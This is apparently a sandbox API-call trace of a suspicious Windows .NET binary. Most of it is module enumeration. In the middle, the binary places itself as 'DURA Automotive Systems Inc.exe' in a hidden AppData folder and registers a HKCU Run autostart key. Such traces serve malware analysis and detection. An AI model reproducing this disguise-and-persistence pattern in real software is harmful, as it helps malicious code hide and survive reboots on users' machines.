	[0174.671] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0174.671] GetLastError () returned 0x514
	[0174.671] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75830000, lpmodinfo=0x2527f18, cb=0xc | out: lpmodinfo=0x2527f18*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0174.672] GetLastError () returned 0x514
	[0174.672] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0174.672] GetLastError () returned 0x514
	[0174.672] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0174.673] GetLastError () returned 0x514
	[0174.673] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75790000, lpmodinfo=0x2529004, cb=0xc | out: lpmodinfo=0x2529004*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0174.673] GetLastError () returned 0x514
	[0174.673] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0174.674] GetLastError () returned 0x514
	[0174.674] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0174.674] GetLastError () returned 0x514
	[0174.674] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75730000, lpmodinfo=0x252a188, cb=0xc | out: lpmodinfo=0x252a188*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0174.675] GetLastError () returned 0x514
	[0174.675] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0174.675] GetLastError () returned 0x514
	[0174.675] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0174.675] GetLastError () returned 0x514
	[0174.676] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74df0000, lpmodinfo=0x252b27c, cb=0xc | out: lpmodinfo=0x252b27c*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0174.676] GetLastError () returned 0x514
	[0174.676] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0174.676] GetLastError () returned 0x514
	[0174.677] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0174.677] GetLastError () returned 0x514
	[0174.677] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74740000, lpmodinfo=0x252c370, cb=0xc | out: lpmodinfo=0x252c370*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0174.678] GetLastError () returned 0x514
	[0174.678] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0174.678] GetLastError () returned 0x514
	[0174.678] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0174.679] GetLastError () returned 0x514
	[0174.679] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74670000, lpmodinfo=0x252d4a8, cb=0xc | out: lpmodinfo=0x252d4a8*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0174.679] GetLastError () returned 0x514
	[0174.679] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0174.680] GetLastError () returned 0x514
	[0174.680] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0174.681] GetLastError () returned 0x514
	[0174.681] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75b00000, lpmodinfo=0x252e63c, cb=0xc | out: lpmodinfo=0x252e63c*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0174.681] GetLastError () returned 0x514
	[0174.681] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0174.682] GetLastError () returned 0x514
	[0174.682] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0174.682] GetLastError () returned 0x514
	[0174.682] GetModuleInformation (in: hProcess=0x1e4, hModule=0x75180000, lpmodinfo=0x252f738, cb=0xc | out: lpmodinfo=0x252f738*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0174.683] GetLastError () returned 0x514
	[0174.683] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0174.683] GetLastError () returned 0x514
	[0174.684] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0174.684] GetLastError () returned 0x514
	[0174.684] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74d20000, lpmodinfo=0x253082c, cb=0xc | out: lpmodinfo=0x253082c*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0174.684] GetLastError () returned 0x514
	[0174.685] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0174.685] GetLastError () returned 0x514
	[0174.685] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0174.686] GetLastError () returned 0x514
	[0174.686] GetModuleInformation (in: hProcess=0x1e4, hModule=0x72be0000, lpmodinfo=0x2531928, cb=0xc | out: lpmodinfo=0x2531928*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0174.686] GetLastError () returned 0x514
	[0174.686] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0174.687] GetLastError () returned 0x514
	[0174.687] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0174.688] GetLastError () returned 0x514
	[0174.688] GetModuleInformation (in: hProcess=0x1e4, hModule=0x745f0000, lpmodinfo=0x2532ac0, cb=0xc | out: lpmodinfo=0x2532ac0*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0174.688] GetLastError () returned 0x514
	[0174.688] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0174.689] GetLastError () returned 0x514
	[0174.689] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0174.689] GetLastError () returned 0x514
	[0174.690] GetModuleInformation (in: hProcess=0x1e4, hModule=0x74450000, lpmodinfo=0x2533bbc, cb=0xc | out: lpmodinfo=0x2533bbc*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0174.690] GetLastError () returned 0x514
	[0174.690] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0174.691] GetLastError () returned 0x514
	[0174.691] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0174.692] GetLastError () returned 0x514
	[0174.693] GetModuleInformation (in: hProcess=0x1e4, hModule=0x73cb0000, lpmodinfo=0x2534cf4, cb=0xc | out: lpmodinfo=0x2534cf4*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0174.693] GetLastError () returned 0x514
	[0174.693] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0174.694] GetLastError () returned 0x514
	[0174.694] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0174.694] GetLastError () returned 0x514
	[0174.694] GetModuleInformation (in: hProcess=0x1e4, hModule=0x73b10000, lpmodinfo=0x2535e80, cb=0xc | out: lpmodinfo=0x2535e80*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0174.695] GetLastError () returned 0x514
	[0174.695] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0174.696] GetLastError () returned 0x514
	[0174.696] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0174.696] GetLastError () returned 0x514
	[0174.696] GetModuleInformation (in: hProcess=0x1e4, hModule=0x750f0000, lpmodinfo=0x2537064, cb=0xc | out: lpmodinfo=0x2537064*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0174.697] GetLastError () returned 0x514
	[0174.697] GetModuleBaseNameW (in: hProcess=0x1e4, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0174.698] GetLastError () returned 0x514
	[0174.698] GetModuleFileNameExW (in: hProcess=0x1e4, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0174.700] GetLastError () returned 0x514
	[0174.700] CloseHandle (hObject=0x1e4) returned 1
	[0174.700] GetLastError () returned 0x514
	[0174.741] CoCreateGuid (in: pguid=0x33d2f0 | out: pguid=0x33d2f0*(Data1=0xd9f528e5, Data2=0xd19e, Data3=0x42ea, Data4=([0]=0x97, [1]=0x35, [2]=0x94, [3]=0xc8, [4]=0x10, [5]=0xa3, [6]=0x6d, [7]=0xc7))) returned 0x0
	[0174.751] CoCreateGuid (in: pguid=0x33d854 | out: pguid=0x33d854*(Data1=0xec1bd61d, Data2=0x45ff, Data3=0x4333, Data4=([0]=0x85, [1]=0xa, [2]=0xf7, [3]=0x45, [4]=0x9d, [5]=0xfb, [6]=0xe4, [7]=0xf7))) returned 0x0
	[0174.769] GetProcAddress (hModule=0x75960000, lpProcName="LoadLibraryA") returned 0x759749d7
	[0174.777] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x5404d8, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0174.777] GetLastError () returned 0xcb
	[0174.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", nBufferLength=0x105, lpBuffer=0x33dbec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\", lpFilePart=0x0) returned 0x3e
	[0174.778] GetLastError () returned 0xcb
	[0174.779] SetErrorMode (uMode=0x1) returned 0x0
	[0174.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc"), fInfoLevelId=0x0, lpFileInformation=0x33e06c | out: lpFileInformation=0x33e06c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x78b47a70, ftCreationTime.dwHighDateTime=0x1d3d722, ftLastAccessTime.dwLowDateTime=0x78b47a70, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x78b47a70, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0174.780] GetLastError () returned 0xcb
	[0174.780] SetErrorMode (uMode=0x0) returned 0x1
	[0174.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x33dbec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0174.780] GetLastError () returned 0xcb
	[0174.780] SetErrorMode (uMode=0x1) returned 0x0
	[0174.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe"), fInfoLevelId=0x0, lpFileInformation=0x33e06c | out: lpFileInformation=0x33e06c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78b47a70, ftCreationTime.dwHighDateTime=0x1d3d722, ftLastAccessTime.dwLowDateTime=0x78b47a70, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x76c55c70, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x3c000)) returned 1
	[0174.780] GetLastError () returned 0xcb
	[0174.780] SetErrorMode (uMode=0x0) returned 0x1
	[0174.780] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x33dbf8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0174.780] GetLastError () returned 0xcb
	[0174.781] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0
	[0174.782] GetLastError () returned 0x5
	[0174.893] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x33e054 | out: phkResult=0x33e054*=0x1e4) returned 0x0
	[0174.897] RegQueryValueExW (in: hKey=0x1e4, lpValueName="DURA Automotive Systems Inc", lpReserved=0x0, lpType=0x33e054, lpData=0x0, lpcbData=0x33e050*=0x0 | out: lpType=0x33e054*=0x1, lpData=0x0, lpcbData=0x33e050*=0xbc) returned 0x0
	[0174.898] RegSetValueExW (in: hKey=0x1e4, lpValueName="DURA Automotive Systems Inc", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", cbData=0xbc | out: lpData="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe") returned 0x0
	[0174.900] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x33e054 | out: phkResult=0x33e054*=0x0) returned 0x2
	[0174.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x33db70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0174.940] GetLastError () returned 0x5
	[0175.005] GetCurrentProcessId () returned 0x530
	[0175.005] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.005] GetLastError () returned 0x5
	[0175.005] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x25ba7f4, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x25ba7f4, lpcbNeeded=0x33dec4) returned 1
	[0175.005] GetLastError () returned 0x5
	[0175.006] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x25ba934, cb=0xc | out: lpmodinfo=0x25ba934*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.006] GetLastError () returned 0x5
	[0175.006] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.006] GetLastError () returned 0x5
	[0175.006] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.006] GetLastError () returned 0x5
	[0175.006] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x25bbaf4, cb=0xc | out: lpmodinfo=0x25bbaf4*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.007] GetLastError () returned 0x5
	[0175.007] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.007] GetLastError () returned 0x5
	[0175.007] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.007] GetLastError () returned 0x5
	[0175.007] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x25bcbe8, cb=0xc | out: lpmodinfo=0x25bcbe8*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.007] GetLastError () returned 0x5
	[0175.007] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.008] GetLastError () returned 0x5
	[0175.008] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.008] GetLastError () returned 0x5
	[0175.008] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x25bdce4, cb=0xc | out: lpmodinfo=0x25bdce4*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.008] GetLastError () returned 0x5
	[0175.008] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.008] GetLastError () returned 0x5
	[0175.008] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.009] GetLastError () returned 0x5
	[0175.009] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x25bede8, cb=0xc | out: lpmodinfo=0x25bede8*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.009] GetLastError () returned 0x5
	[0175.009] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.009] GetLastError () returned 0x5
	[0175.009] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.009] GetLastError () returned 0x5
	[0175.010] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x25bff24, cb=0xc | out: lpmodinfo=0x25bff24*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.010] GetLastError () returned 0x5
	[0175.010] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.010] GetLastError () returned 0x5
	[0175.010] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.010] GetLastError () returned 0x5
	[0175.010] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x25c1028, cb=0xc | out: lpmodinfo=0x25c1028*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.011] GetLastError () returned 0x5
	[0175.011] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.011] GetLastError () returned 0x5
	[0175.011] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.012] GetLastError () returned 0x5
	[0175.012] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x25c2124, cb=0xc | out: lpmodinfo=0x25c2124*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.012] GetLastError () returned 0x5
	[0175.012] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.012] GetLastError () returned 0x5
	[0175.012] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.012] GetLastError () returned 0x5
	[0175.013] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x25c3220, cb=0xc | out: lpmodinfo=0x25c3220*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.013] GetLastError () returned 0x5
	[0175.013] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.013] GetLastError () returned 0x5
	[0175.013] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.013] GetLastError () returned 0x5
	[0175.014] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x25c436c, cb=0xc | out: lpmodinfo=0x25c436c*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.014] GetLastError () returned 0x5
	[0175.014] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.014] GetLastError () returned 0x5
	[0175.014] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.014] GetLastError () returned 0x5
	[0175.015] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x25c5468, cb=0xc | out: lpmodinfo=0x25c5468*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.015] GetLastError () returned 0x5
	[0175.015] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.015] GetLastError () returned 0x5
	[0175.015] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.016] GetLastError () returned 0x5
